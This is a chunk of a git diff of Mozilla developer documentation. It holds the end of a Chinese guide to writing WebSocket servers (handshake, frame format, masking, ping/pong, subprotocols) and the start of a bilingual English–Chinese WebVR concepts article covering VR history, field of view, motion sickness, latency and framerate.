WebSocket服务器可以用任何实现了Berkeley sockets的服务器端编程语言编写,如C(++)或Python甚至PHP服务器端JavaScript。 这不是任何特定语言的教程,而是作为指导,以方便编写自己的服务器。

+ +

您需要知道HTTP的工作原理,并具有中级编程经验。 根据语言帮助(Depending on language support),可能需要TCP套接字的知识。 本指南的范围是介绍编写WebSocket服务器所需的最低知识。

+ +
+

阅读最新的官方WebSockets规范, RFC 6455. 第1节和第4-7节对服务器实现者特别有意思。第10节讨论安全性,你应该在暴露你的服务器之前仔细阅读它。

+
+ +

WebSocket服务器在这里被解释得非常底层。 WebSocket服务器通常是独立的专用服务器(出于负载平衡或其他实际原因),因此您通常会使用反向代理(例如常规HTTP服务器)来检测WebSocket握手,预处理这些握手,并将这些客户端发送给 一个真正的WebSocket服务器。(例如)这意味着您不必使用cookie和身份验证处理程序来扩充服务器代码。

+ +

WebSocket 握手

+ +

首先,服务器必须使用标准的TCP套接字来监听传入的套接字连接。 根据您的平台,这可能已经为您处理。 例如,假设您的服务器正在监听example.com,端口8000,并且您的套接字服务器响应/chat上的GET请求。 .

+ +
+

警告:服务器可以监听它选择的任何端口,但是如果它选择了80或443以外的端口,防火墙和/或代理服务器可能会有问题。 端口443上的连接往往会更容易成功,但是当然,这需要一个安全的连接(TLS / SSL)。 另外请注意,大多数浏览器(特别是Firefox 8+)不允许从安全页面连接到不安全的WebSocket服务器。

+
+ +

握手是WebSockets中的“Web”。 这是从HTTP到WS的桥梁。 在握手过程中,有关连接的详细信息正在初始化中,如果条件不利,任何一方可以在完成之前退出。 服务器必须小心了解客户要求的一切,否则会产生安全问题。

+ +

客户端握手请求

+ +

即使您正在构建服务器,客户端仍然必须启动WebSocket握手过程。 所以你必须知道如何解释客户的请求。 客户端将发送一个相当标准的HTTP请求,看起来像这样(HTTP版本必须是1.1或更高,方法必须是GET):

+ +
GET /chat HTTP/1.1
+Host: example.com:8000
+Upgrade: websocket
+Connection: Upgrade
+Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
+Sec-WebSocket-Version: 13
+ +

客户可以在这里请求扩展和/或子协议;详情请见杂项。当然,你也可以在这里加上你所需要的一般请求头如User-Agent, Referer, Cookie或者认证头。WebSocket没有作要求,忽略它们也是安全的。在大多数情况下,反向代理已经做了这些处理。

+ +

如果任何请求头信息不被理解或者具有不正确的值,则服务器应该发送“400 Bad Request”并立即关闭套接字。 像往常一样,它也可能会给出HTTP响应正文中握手失败的原因,但可能永远不会显示消息(浏览器不显示它)。 如果服务器不理解该版本的WebSocket,则应该发送一个Sec-WebSocket-Version头,其中包含它理解的版本。 (本指南解释了最新的v13)。 下面我们来看看奇妙的请求头Sec-WebSocket-Key

+ +
+

提示: 所有浏览器将会发送一个 Origin请求头。 你可以将这个请求头用于安全方面(检查是否是同一个域,白名单/ 黑名单等),如果你不喜欢这个请求发起源,你可以发送一个403 Forbidden。需要注意的是非浏览器只能发送一个模拟的 Origin。大多数应用会拒绝不含这个请求头的请求.。

+
+ +
+

提示: 请求URI(这里的是/chat)在规范里没有定义。很多开发者聪明地把这点用于控制多功能WebSocket应用。例如example.com/chat会请求一个多方会话应用,而在相同服务器上example.com/game则会请求一个多玩家游戏应用。

+
+ +
+

注意: 常规HTTP状态码只能在握手之前使用。 握手成功后,你必须使用一组不同的代码(在规范的第7.4节中定义)。

+
+ +

服务器握手响应

+ +

服务器收到握手请求时,它应该发回一个特殊的响应,表明协议将从HTTP变为WebSocket。看起来像这样(记住每个请求头以 \r\n结尾,并在最后一个之后放置一个额外的 \r\n):

+ +
HTTP/1.1 101 Switching Protocols
+Upgrade: websocket
+Connection: Upgrade
+Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
+
+
+ +

另外,服务器可以在这时候决定插件或子协议,详情参见杂项。  Sec-WebSocket-Accept 参数很有趣,它需要服务器通过客户端发送的Sec-WebSocket-Key 计算出来。 怎样计算呢, 把客户发送的 Sec-WebSocket-Key 和 "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" (这个叫做 "魔法值")连接起来,把结果用SHA-1编码,再用base64编码一次,就可以了。 

+ +
+

参考:这看起来繁复的处理使得客户端明确服务端是否支持WebSocket。这是十分重要的,如果服务端接收到一个WebSocket连接但是把数据作为HTTP请求理解可能会导致安全问题。

+
+ +

所以如果Sec-WebSocket-Key是“dGhlIHNhbXBsZSBub25jZQ==”,Sec-WebSocket-Accept将是“s3pPLMBiTxaQ9kYGzzhZRbK+xOo=”。 一旦服务器发送这个请求头,握手就完成了,你可以开始交换数据!

+ +
+

服务端可以在发送握手回复前发送其他请求头,诸如Set-Cookie,请求认证或通过状态码重定向。

+
+ +

跟踪客户端

+ +

这并不直接与WebSocket协议相关,但是在这里值得一提的是:你的服务器将不得不跟踪客户的套接字,所以你不会再和已经完成握手的客户握手。 同一个客户端IP地址可以尝试连接多次(但是如果客户端尝试过多的连接,服务器可以拒绝它们以免遭拒绝服务攻击)。

+ +

交换数据帧

+ +

客户端或服务端都可以在任何时间点发送数据——这就是WebSocket的魅力。然而,从这些被称为“帧”的数据中提取信息就不是十分愉快的体验了。尽管所有的帧都遵从相同的格式规范,从客户端发送到服务端的数据都被 异或加密(用一个32位的key)格式化。详情请参见规范的第5节。

+ +

格式

+ +

每个数据帧(从客户端到服务器,反之亦然)遵循相同的格式:

+ +
Frame format:
+​​
+      0                   1                   2                   3
+      0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+     +-+-+-+-+-------+-+-------------+-------------------------------+
+     |F|R|R|R| opcode|M| Payload len |    Extended payload length    |
+     |I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |
+     |N|V|V|V|       |S|             |   (if payload len==126/127)   |
+     | |1|2|3|       |K|             |                               |
+     +-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
+     |     Extended payload length continued, if payload len == 127  |
+     + - - - - - - - - - - - - - - - +-------------------------------+
+     |                               |Masking-key, if MASK set to 1  |
+     +-------------------------------+-------------------------------+
+     | Masking-key (continued)       |          Payload Data         |
+     +-------------------------------- - - - - - - - - - - - - - - - +
+     :                     Payload Data continued ...                :
+     + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
+     |                     Payload Data continued ...                |
+     +---------------------------------------------------------------+
+ +

掩码明确告知我们消息是否经过格式化。从客户端来的消息必须经过格式化,所以你的服务器必须要求这个掩码是1(事实上,规范5.1节规定了如果客户端发送了没有格式化的消息,你的服务器应该断开连接)

+ +

当向客户端发送帧时,不要对其进行掩码,也不要设置掩码位。稍后我们将解释屏蔽。注意:即使使用安全套接字,也必须屏蔽消息。RSV1-3可以忽略,它们是用于扩展的。

+ +

操作码字段定义了如何解释有效负载数据:0x0表示延续,0x1表示文本(总是用UTF-8编码),0x2表示二进制,以及其他所谓的“控制代码”,稍后将对此进行讨论。在这个版本的WebSockets中,0x3到0x7和0xB到0xF没有任何意义。

+ +

FIN位告诉我们这是不是系列的最后一条消息。如果是0,那么服务器将继续侦听消息的更多部分;否则,服务器应该考虑传递的消息。不仅仅是这样。

+ +

解码有效载荷长度

+ +

要读取有效负载数据,您必须知道何时停止读取。这就是为什么有效载荷长度很重要。不幸的是,这有点复杂。要阅读它,请遵循以下步骤:

+ +
    +
  1. 读取9-15(包括)位并将其解析为无符号整型。如果长度小于等于125,那么就是长度;你就完成了。如果是126,到第二步。如果是127,到步骤3。
  2. +
  3. 读取下面的16位,并将其解释为无符号整型。你就完成了。
  4. +
  5. 读取接下来的64位,并将其解释为无符号整型(最重要的位必须为0)。
  6. +
+ +

读取和解密数据

+ +

如果设置了掩码位(对于客户机到服务器的消息应该是这样),则读取接下来的4个字节(32位);这是掩蔽键。一旦有效负载长度和掩蔽键被解码,您就可以继续从套接字读取字节数。让我们调用已编码的数据和密钥掩码。要获得解码,可以通过编码的八位元(字节,即文本数据的字符)和XOR八位元(i模4)掩码的第四个八位元进行循环。在伪代码中(恰好是有效的JavaScript):

+ +
var DECODED = "";
+for (var i = 0; i < ENCODED.length; i++) {
+    DECODED[i] = ENCODED[i] ^ MASK[i % 4];
+}
+ +

现在,您可以根据应用程序了解解码意味着什么。

+ +

消息帧

+ +

FIN和操作码字段一起工作,以发送分裂为独立帧的消息。这称为消息碎片。片段只能在操作码0x0到0x2上可用。

+ +

回想一下,操作码告诉了帧应该做什么。如果是0x1,有效载荷就是文本。如果是0x2,有效载荷就是二进制数据。但是,如果是0x0,则该帧是一个延续帧。这意味着服务器应该将帧的有效负载连接到从该客户机接收到的最后一个帧。下面是一个粗略的示意图,其中服务器对发送文本消息的客户机做出反应。第一个消息在单个帧中发送,而第二个消息跨三个帧发送。FIN和操作码的详细信息只显示给客户:

+ +
Client: FIN=1, opcode=0x1, msg="hello"
+Server: (process complete message immediately) Hi.
+Client: FIN=0, opcode=0x1, msg="and a"
+Server: (listening, new message containing text started)
+Client: FIN=0, opcode=0x0, msg="happy new"
+Server: (listening, payload concatenated to previous message)
+Client: FIN=1, opcode=0x0, msg="year!"
+Server: (process complete message) Happy new year to you too!
+ +

注意,第一个框架包含一个完整的消息(具有FIN=1和opcode!=0x0),因此服务器可以根据需要进行处理或响应。客户机发送的第二帧具有文本有效负载(opcode=0x1),但是整个消息还没有到达(FIN=0)。该消息的所有剩余部分都用延续帧(opcode=0x0)发送,消息的最终帧用FIN=1标记。Section 5.4 of the spec描述了消息帧。

+ +

Pings和Pongs:WebSockets的心跳

+ +

在经过握手之后的任意时刻里,无论客户端还是服务端都可以选择发送一个ping给另一方。 当ping消息收到的时候,接受的一方必须尽快回复一个pong消息。 例如,可以使用这种方式来确保客户端还是连接状态。

+ +

一个ping 或者 pong 都只是一个常规的帧, 只是这个帧是一个控制帧。Ping消息的opcode字段值为 0x9,pong消息的opcode值为  0xA 。当你获取到一个ping消息的时候,回复一个跟ping消息有相同载荷数据的pong消息 (对于ping和pong,最大载荷长度位125)。 你也有可能在没有发送ping消息的情况下,获取一个pong消息,当这种情况发生的时候忽略它。

+ +
+

如果在你有机会发送一个pong消息之前,你已经获取了超过一个的ping消息,那么你只发送一个pong消息。

+
+ +

关闭连接

+ +

客户端或服务器端都可以通过发送一个带有指定控制序列的控制帧以开始关闭连接握手(参见章节5.5.1)。对端收到这个控制帧会回复一个关闭帧,关闭发起端关闭连接。任何在关闭连接后接收到的数据都会被丢弃。

+ +

杂项

+ +
+

WebSocket代码、扩展、子协议等在 IANA WebSocket Protocol Registry.注册。

+
+ +

WebSocket扩展和子协议是在握手过程中通过头信息进行协商的。有时候,扩展和子协议看起来太相似而不可能是不同的东西,但是有一个明显的区别。扩展控制WebSocket框架并修改有效负载,而子协议构造WebSocket有效负载,从不修改任何东西。扩展是可选的和通用的(比如压缩);子协议是强制性的和本地化的(就像聊天和MMORPG游戏一样)。

+ +

扩展

+ +
+

本节需要扩张。请编辑如果你有这样做的准备。

+
+ +

Think of an extension as compressing a file before e-mailing it to someone. Whatever you do, you're sending the same data in different forms. The recipient will eventually be able to get the same data as your local copy, but it is sent differently. That's what an extension does. WebSockets defines a protocol and a simple way to send data, but an extension such as compression could allow sending the same data but in a shorter format.

+ +
+

扩展在规范的 5.8, 9, 11.3.2, and 11.4 进行了解释

+
+ +

TODO

+ +

子协议

+ +

可以把子协议理解成一个自定义XML schema文件类型声明。你仍然使用XML和它的语法,但是还要额外受限于你声明的格式。

+ +

WebSocket子协议就是像这样的东西。它们不作任何假设实现,只是确立框架。就像一个文件类型或概要。与文件类型或概要类似,通信双方都需要同意子协议;于文件类型或概要不同的是,子协议在服务端实现,而不能由客户端参考第三方。

+ +
+

子协议在规范的章节1.9,4.2,11.3.4和11.5有做解释。

+
+ +

如果客户端需要指定子协议,需要发送如下消息头作为握手信息的一部分

+ +
GET /chat HTTP/1.1
+...
+Sec-WebSocket-Protocol: soap, wamp
+
+ +

等价于:

+ +
...
+Sec-WebSocket-Protocol: soap
+Sec-WebSocket-Protocol: wamp
+
+ +

现在,服务端需要选择一个客户端建议且服务端支持的子协议。如果有多于一个的话使用客户端发送的第一个。如果我们的服务端可以支持soapwamp,则在握手回复时,它会发送:

+ +
Sec-WebSocket-Protocol: soap
+
+ +
+

服务器不能发送多个Sec-Websocket-Protocol。如果服务器不想使用任何子协议,它就不应该发送任何Sec-WebSocket-Protocol header。发送空白header是不正确的。如果客户端没有得到它想要的子协议,它可以关闭连接。

+
+ +

如果您希望您的服务器遵守某些子协议,那么很自然地,您需要服务器上的额外代码。假设我们使用的是子协议JSON。在这个子协议中,所有数据都以JSON的形式传递。如果客户端请求这个协议,而服务器想要使用它,服务器将需要一个JSON解析器。实际上,这是库的一部分,但是服务器需要传递数据。

+ +
+

提示:为了避免命名冲突,建议将你的子协议名称加上域名字符串。如果您正在构建一个自定义聊天应用程序,该应用程序使用的是Example Inc.独有的专有格式,那么您可以使用这个:Sec-WebSocket-Protocol: chat.example.com.注意,这不是必需的,它只是一个可选的约定,您可以使用任何字符串。

+
+ +

关联

+ + diff --git a/files/zh-cn/web/api/webvr_api/concepts/index.html b/files/zh-cn/web/api/webvr_api/concepts/index.html new file mode 100644 index 0000000000..6cd552a0d4 --- /dev/null +++ b/files/zh-cn/web/api/webvr_api/concepts/index.html @@ -0,0 +1,406 @@ +--- +title: WebVR concepts +slug: Web/API/WebVR_API/Concepts +tags: + - Apps + - FOV + - Guide + - VR + - WebVR + - 位置 + - 加速度 + - 概念 + - 立体 + - 速度 +translation_of: Web/API/WebVR_API/Concepts +--- +

{{draft("The WebVR API documentation is currently being updated to cover the v1.0 spec, therefore some of this information will be out of date. Contact ~~chrisdavidmills if you have any questions about this work.")}}

+ +

This article discusses some of the concepts and theory behind virtual reality (VR). If you are a newcomer to the area, it is worthwhile getting an understanding of these topics before you start diving into code.

+ +

这篇文章探讨了一些关于虚拟现实(VR)的概念及其背后的理论基础。如果你是一个进入这个领域的新手,在你深入学习相关代码知识前,非常有必要对于以下的话题做一定的了解。【K】

+ +

 

+ +

The history of VR 关于VR的历史【K】

+ +

Virtual reality is nothing new — the concept goes way further back than the Oculus Rift Kickstarter campaign of 2012. People have been experimenting with it for decades.

+ +

虚拟现实(VR)并不是一件新生的事物:这个概念甚至能追溯到,比2012年Oculus Rift在Kickstarter campaig上发起众筹,还要更早的时候。人们已经持续研发这种技术长达数十年。

+ +

 

+ +

 

+ +

In 1939 the View-Master device was created, allowing people to see 3D pictures. The device displayed images stored on cardboard disks containing stereoscopic 3D pairs of small color photographs. After years of development the military got interested in using such technology, and Project Headsight was born in 1961 — this involved a helmet incorporating a video screen with a head-tracking system.

+ +

1939年View-Master device问世,它允许人们通过它观看3D成像的照片。这款设备播放的是,存储在圆盘硬纸板上的,成对的立体3D的彩色小照片。经过了许多年的研发,军方开始对使用这项技术产生了浓厚的兴趣,终于在1961年,名为HEADSIGHT的项目诞生了:它包含了一个连接头部追踪系统的显示屏的头盔。

+ +

 

+ +

+ +

There were various experiments conducted over the next few decades, but it wasn't resricted to science labs and battlefields anymore. Eventually pop culture took over with movie directors showing their visions of virtual reality. Movies like Tron (1982) and The Matrix (1999) were created, where people could transfer themselves into a whole new cyber world or were trapped in one without even knowing, accepting it as the real world.

+ +

在接下来的数十年中,出现了许多具有指导性作用的实验,但是它不再像从前那样只对科学实验室和战场开放。最终大众文化通过电影导演展现他们的视角,从而接过了虚拟现实的大旗。像【创:战纪 TRON: Legacy(1982)】 和【黑客帝国The Matrix (1999)】那样的电影被拍摄出来,在那里人们能够轻易的将自己置身于一个完全由信息构成的世界,又或者,接受让自己进入一个从未认识过的新世界,并且将它当做一个真实的存在。【K】

+ +

+ +

The first VR gaming attempts were big and expensive — in 1991 Virtuality Group created a VR-ready arcade machine with goggles and ported popular titles like Pac-Man to virtual reality. Sega introduced their VR glasses at the Consumer Electronics Show in 1993. Companies were experimenting, but the market and consumers weren't convinced — we had to wait until 2012 to see  real example of a successful VR project.

+ +

世界上第一次VR游戏的尝试是既大又昂贵的:1991年Virtuality Group制造了一款名为VR-ready的商业街机,其中装有护目镜,并且美其名曰 Pac-Man to virtual reality。随后,世嘉株式会社(SEGA)在1993的 Consumer Electronics Show上引进了他们的VR眼睛设备。当时的公司都在努力尝试,但是市场和消费者并不关注和买账:之后,我们再见到真正成功的VR项目,就要等到最近的2012年了。【K】

+ +

 

+ +

 

+ +

 

+ +

VR in recent times 最近的VR发展【K】

+ +

So what's new? Virtual Reality hardware needs to deliver high-precision, low-latency data to deliver an acceptable user experience; computers running VR applications need to be powerful enough to handle all this information. It has not been until recently that such accuracy and power has been available at an afforable cost, if at all. Early VR prototypes cost tens of thousands of dollars, whereas the latest Oculus Rift developer kit is available for $350, and cheaper solutions are available, such as mobile device-based solutions like Google Cardboard.

+ +

那么有什么值得我们期待的呢?VR硬件需要传输高精度的信息,在保证低延迟的情况下传递可接受的用户的体感信息;运行VR设备和程序的电脑,必需强大到足以维持这些庞大的信息。直到最近的这几年,如此高精度并且能量强大的设备,才能通过大众可以接受的价格被购买到。早期的VR原型设备,需要花费数万美元,然而最近出现的Oculus Rift developer kit却仅售350$, 并且还有更加便宜的解决方案,比如基于手机的VR设备像是Google Cardboard.【K】

+ +

 

+ +

 

+ +

By 2015, such VRDevices gained commercial support for VR technology. Sony are developing a VR hardware kit for the PS4 (codename Project Morpheus), Facebook bought Oculus Rift for $2 billion, Valve has created SteamVR software that works with HTC's Vive VR headset, and Google has launched a 2.0 version of its Cardboard  that supports up to 6 inch phones (it is also fully compatible with iOS devices because it has a piece of conductive foam that works as a tap over the screen.)

+ +

到了2015年,类似的VR设备吸引了大量的商业投资,进入到VR科技的研发中。SONY正在PS4中开发一项针对VR的硬件工具(编程代号 Project Morpheus), FACRBOOK花费20亿美元买下了 Oculus Rift, Valve开发了 SteamVR 软件系统,能够应用于HTC的Vive VR headset, 随后,谷歌发布了能够最多支持6英寸手机屏幕的CARDBOARD的2.0版本(它同时完全兼容了IOS的设备,因为在它屏幕的背后有一块传感海绵凸起作为触碰点。)

+ +

 

+ +

Samsung also launched a headset associated with Oculus called GearVR, which works by connecting its Note 4 and 6S devices. This however only works with native apps, so it is not very interesting for the specific area of WebVR.

+ +

三星公司同Oculus 合作,也推出了它的头戴设备GearVR, 这款设备可以连接旗下的NOTE4以及6S等手机。然而这款设备仅仅能够运行几款纯粹的APP应用,因而相对于WEBVR的特效领域而言,显得不是那么的有意思。【K】

+ +

 

+ +

 

+ +

The technology itself is here, and the more expensive headsets will only get cheaper over time so more people can experience virtual reality on their own in the future.

+ +

科技已经发展到了今天,随着时间的推移,只会有更多的昂贵的头显设备变得越来越便宜,从而另更多的人在将来能够亲自体验虚拟现实的乐趣。【K】

+ +

 

+ +

 

+ +

Input devices 传入设备【K】

+ +

Handling input for virtual reality applications is an interesting topic — it's a totally new experience for which dedicated user interfaces have to be designed. There are various approaches right now from classic keyboard and mouse, to new ones like Leap Motion. It's a matter of trial and error to see what works in given situations and what inputs fit best for your type of game.

+ +

针对虚拟显示应用的手持传入设备,是一个非常有意思的话题:这是一种全新的体验,从而必须要设计出沉浸式的用户界面来适应它。目前为止,在这方面,从传统的键盘鼠标,一直到LEAP MOTION这样的新兴设备,有多种多样的途径来实现它。只有通过【试错法】最终才能窥见,哪种方式最有利于创造情景以及哪种输入设备最适合于你所玩的游戏的类型。【K】

+ +

 

+ +

+ +

VR Hardware setup 创建VR设备的硬件环境【K】

+ +

 

+ +

There are two main types of setup, mobile or computer-connected. Their minimum hardware set ups are as follows:

+ +

主要有两种创建VR环境的类型,手机或者是PC。以下是实现这两种环境所需要的最少的硬件支持:

+ +

 

+ + + +
+

Note: Computer-connected systems sometimes don't include a position sensor, but they usually do.

+ +

注释:通过电脑连接的系统有时候不会包含定位传感装置,但是通常情况下都会有。【K】

+ +

 

+
+ +

Other hardware that complements the VR experience includes:  

+ +

其余的帮助补充完整的VR体验的硬件包括:【K】

+ +

 

+ +

 

+ + + +

Position and orientation, velocity and acceleration 

+ +

位置和方向,速度和加速度【K】

+ +

As mentioned above, the position sensor detects information concerning the HMD and constantly outputs it, allowing you to continually update a scene according to head movement, rotation, etc. But what exactly is the information?

+ +

正如上文所提到的,那个位置传感器通过检测与HMD相关的信息并且实时的输出这些数据,从而允许你持续的通过改变你的头部移动,更新你身处的虚拟场景,包括旋转等动作。但是我们所说的这些信息包括些什么呢?【K】

+ +

 

+ +

Position and Orientation VR setup

+ +

The output information falls into four categories:

+ +

通过HMD输出的信息包含一下四种类别:【K】

+ +
    +
  1. Position — The position of the HMD along three axes in a 3D coordinate space. x is to the left and right, y is up and down, and z is towards and away from the position sensor. In WebVR:
    +
    + 位置--HMD设备的位置基于一个3D坐标空间中的三个轴--X代表左右移动,Y代表上下移动,Z代表朝向和远离位置传感设备。在WEBVR中: + +
      +
    • x position is represented by {{domxref("VRPositionState.position")}}.x.
    • +
    • y position is represented by {{domxref("VRPositionState.position")}}.y.
    • +
    • z position is represented by {{domxref("VRPositionState.position")}}.z.
    • +
    +
  2. +
  3. Orientation — The rotation of the HMD around three axes in a 3D coordinate space. Pitch is rotation around the x axis, yaw is rotation around the y axis, and roll is rotation around the z axis. In WebVR:
    +
    + 方位--HMD设备的协同是绕着一个3D坐标空间中的三个轴。PITCH负责协同X轴,YAW负责协同Y轴,还有ROLL入则系统Z轴。在WEBVR中: +
      +
    • Pitch is represented by {{domxref("VRPositionState.orientation")}}.x.
    • +
    • Yaw is represented by {{domxref("VRPositionState.orientation")}}.y.
    • +
    • Roll is represented by {{domxref("VRPositionState.orientation")}}.z.
    • +
    +
  4. +
  5. Velocity — There are two types of velocity to consider in VR:
    +
    + 速度--在VR中有两种需要被考虑的速度: +
      +
    • Linear — The speed along any one of the axes that the HMD is traveling. This information can be accessed using {{domxref("VRPositionState.linearVelocity")}} (x, y, and z.)
    • +
      +
    • 线速度--HMD追踪的沿着三种轴向之一的速度。这类的信息可以被接收通过 {{domxref("VRPositionState.linearVelocity")}} (x, y, and z.)
    • +
    • Angular — The speed at which the HMD is rotating around any one of the axes. This information can be accessed using {{domxref("VRPositionState.angularVelocity")}} (x, y, and z.)
    • +
      +
    • 角速度--就是HMD设备绕着三种轴向之一旋转的速度。这类的信息可以被接收通过{{domxref("VRPositionState.angularVelocity")}} (x, y, and z.)
    • +
    +
  6. +
  7. Acceleration — There are two types of acceleration to consider in VR:
    +
    + 加速度--在VR中有两种需要被考虑的加速度: +
      +
    • Linear — The acceleration of travel along any one of the axes that the HMD is traveling. This information can be accessed using {{domxref("VRPositionState.linearAcceleration")}} (x, y, and z.)
    • +
      +
    • 线性加速度--HMD设备沿着轴向追踪的加速度。这类的信息可以被接收通过{{domxref("VRPositionState.linearAcceleration")}} (x, y, and z.)
    • +
    • Angular — The acceleration of rotation of the HMD around any one of the axes. This information can be accessed using {{domxref("VRPositionState.angularAcceleration")}} (x, y, and z.)
    • +
      +
    • 角度加速度--HMD设备绕着轴旋转的加速度。这类的信息可以被接收通过 {{domxref("VRPositionState.angularAcceleration")}} (x, y, and z.)
    • +
    +
  8. +
+ +

Field of view 视野【K】

+ +

The field of view (FOV) is the area that each of the user's eyes can reasonably be expected to see. It roughly takes the form of a pyramid shape, laid down on one side, with the apex inside the user's head, and the rest of the pyramid eminating from the user's eye. Each eye has it's own FOV, one slightly overlapping the other.

+ +

VR的视野(FOV)就是我们的双眼理论上预期能看到的区域。这个区域大致上呈现一个倒置的金字塔形状,金字塔的中轴线穿过使用者的头部,金字塔剩余的部分从使用者的双眼部位发散出去。每只眼睛都有自己的FOV,同时其中的一个稍微同另一个重叠。

+ +

FOV related properties

+ +

The FOV is defined by the following values:

+ +

FOV是通过下列的值来定义的:

+ + + +

The default values for these properties will differ slightly by VR hardware, although they tend to be around 53° up and down, and 47° left and right, with zNear and zFar coming in at around 0.1m and 10000m respectively.

+ +

更具VR硬件的不同,这些特性的值会略有不同,然而他们基本上分别都趋向于上下53°,左右47°,zNear和zFar两个值可以在0.1m到10000m之间变换。

+ +

Different users will also require slightly different values for optimal viewing. It therefore makes sense to be able to calibrate these when a user starts using an app. You can detect the current value of these using the methods of the {{domxref("VREyeParameters")}} interface, and set new values using the {{domxref("HMDVRDevice.setFieldOfView()")}} method.

+ +

不同的使用者将会为了达成尽量完美的视觉体验,而要求略有不同的特性数值。因此,我们有理由在使用者开始使用一个APP之前,对这些特性进行测算。你可以使用{{domxref("VREyeParameters")}} interface, and set new values using the {{domxref("HMDVRDevice.setFieldOfView()")}} method.这个方法来侦测现行的特性值。

+ +
+

Note: The user can potentially see all the way around them, which is a brand new concept for apps and games. Try to give people a reason to look around and see what's behind them — make them reach out and find things that are not visible at the very beginning. Describe what's behind their backs.

+ +

注释:使用者潜在的可以看到所有他们身边的事物,这是一个APP和游戏中出现的全新的概念。那就是,试着传达给人们一个发现他们身后事物的理由--引导他们去发现那些在一开始并没有出现在他们视野中的事物。描述他们身后的世界。【K】

+ +

【可以说这一点是VR概念中同其他3D技术区别开,非常重要的特性,就是创建和引导使用者去发现他们视野中看不见的部分】

+
+ +

 

+ +

 

+ +

Concepts for VR apps VR APP的概念【K】

+ +

This section discusses concepts to be aware of when developing VR apps that you've probably not had to consider before when developing regular apps for mobile or desktop.

+ +

这个部分讨论的是,从前在我们开发普通的APP和手机或者PC应用时,不必考虑的,但是在我们开发VR APP的时候必须被意识到的概念。

+ +

 

+ +

 

+ +

 

+ +

Stereoscopic vision【K】

+ +

立体视觉

+ +

Stereoscopic vision is the normal vision humans and (most) animals have — the perception of two slightly differing images (one from each eye) as a single image. This results in depth perception, helping us to see the world in glorious 3D. To recreate this in VR apps, you need to render two very slightly different views side by side, which will be taken in by the left and right eyes when the user is using the HMD.

+ +

立体视觉是大多数的动物以及人类拥有的正常的视觉效果--也就是将来自每只眼睛的略有差别的图像,通过大脑的处理,感知为一张立体的图片。这种对深度的感知结果,帮助我们通过一种神奇的3D的视角看世界。为了在APP中重现这种视觉效果,你需要渲染两幅略有不同的场景,当使用者在通过使用HMD观看时能分别被左右眼所调用。

+ +

 

+ +

How to create stereoscopic 3D images

+ +

Head tracking 头部追踪【K】

+ +

The primary technology used to make you feel present in a 360º scene, thanks to the gyroscope, accelerometer, and magnetometer (compass) included in the HMD.

+ +

首要的使我们能够感到置身于360°场景中的科技,要感谢包括在HMD设备中的陀螺仪、加速剂、磁力计等装置。
+ It has primary relevance because it makes our eyes believe we are in front of a spherical screen, giving users realistic immersion inside the app canvas.

+ +

这种技术对于VR有非常重要的关联性,因为它让我们的眼睛相信我们置身于一个球形的屏幕前,它提供给使用者一种在APP画布中沉浸式的体验。

+ +

Eye strain【K】眼部拉伤

+ +

A term commonly used in VR because it is a major handicap of using an HMD — we are constantly fooling the eye with what we are showing in the app canvas, and this leads to the eyes doing a lot more work than they normally would, so using VR apps for any extended period of time can lead to eye strain.

+ +

这是一个通常使用在VR中的术语,因为这也是使用HMD设备的一个副作用--我们的视线历来会追踪我们在APP画布中被展示的内容,然而这将导致我们的眼睛超负荷的工作,因此假如我们使用VR APP时,有任何超时的行为,都有可能导致眼部的拉伤。

+ +

 

+ +

To minimize this unwanted effect, we need to:

+ +

为了将这些可能的影响最小化,我们可以:

+ + + +

In general, the path of least visual effort will give the user a less tiring experience.

+ + + +

Motion sickness 晕动病【K】

+ +

If developers do not take utmost care, VR apps can actually cause their users to feel sick. This effect is produced when the stimuli their eyes are receiving is not what the body expects to receive.

+ +

如果开发者没有非常注意的话,VR APP将会很有可能引起它的使用者的反感。这种反应的产生是因为我们的眼睛受到了,我们的身体并不准备接收的刺激。

+ +

To avoid bringing on motion sickness in our users (or at least minimize the effects), we need to:

+ +

为了避免带来晕动效果给我们的使用者(或者说最大限度的减小这种反应),我们可以:

+ + + +

Latency 延迟【K】

+ +

Latency is the time between the physical head movement and the visual display reaching the user's eyes from the screen of an HMD being updated. This is one of the most critical factors in providing a realistic experience. Humans can detect very small delays — we need to keep the latency below 20 milliseconds if they are to be imperceptible (for example a 60Hz monitor has a 16 ms response.)

+ +

延迟指的是,头部的物理转动动作,显示设备在接收了HMD的信息更新后,这两者之间的时间间隔。这是一个在提供虚拟现实体验的过程中非常关键的因素。人体能感知到非常细微的延迟--如果我们要让人体感知不到这种延迟,我们需要将延迟保持在20微妙以下(例如一个60HZ的显示器拥有16ms的返回速度。)

+ +

The Oculus Rift headset has a letency of 20 ms or less, but woth mobile device-based setups it will depend heavily on the smartphone CPU power and other capabilities. 

+ +

Oculus Rift headset的延迟在20ms甚至比这更低,但是目前这都非常依赖于智能手机的CPU性能和其他性能。

+ +

Framerate ( Frames per second / FPS ) 帧率【K】

+ +

Based on the Wikipedia definition, framerate is the frequency at which an imaging device produces unique consecutive images, called frames. A rate of 60fps is an acceptable rate for a smooth user experience, but depending on the performance of the machine the app is running on, or the complexity of the content you want to show, it can drastically lower. Less than 30fps is generally considered juddery, and annoying to the user.、

+ +

根据维基百科的定义,帧率指的是一个设备产生单一连贯的图像的速率,叫做框架。60FPS的帧率足够提供给使用者一个平稳的体验,但是更加要取决于APP运行的设备的表现,或者是你想要体验的VR内容,也有可能大大的降低。假如帧率小于了30FPS,通常会发生严重的颤抖,并且使使用者产生厌恶感。

+ +

One of the most difficult tasks is to maintain a constant and high framerate value, so we must optimize our code to make it as efficient as possible. It is preferable to have a decent framerate that doesn't constantly or suddenly change; for this you need to as few necessary objects moving into the scene as possible and (in the case of WebGL) try to reduce draw calls. 

+ +

最困难的任务之一就是保持一个稳定的和高帧率的值,所以我们必须优化代码从而使它发挥最大的功效。假如能够有一个合适的帧率并且不会规律的或者突然的改变,那将会是非常好的体验;因此你需要在一个场景中设置尽量少的物体(例如在WEBGL中)并且减小DRAW CALLS的值。

+ +

Interpupillary distance ( IPD ) 瞳孔间距【K】

+ +

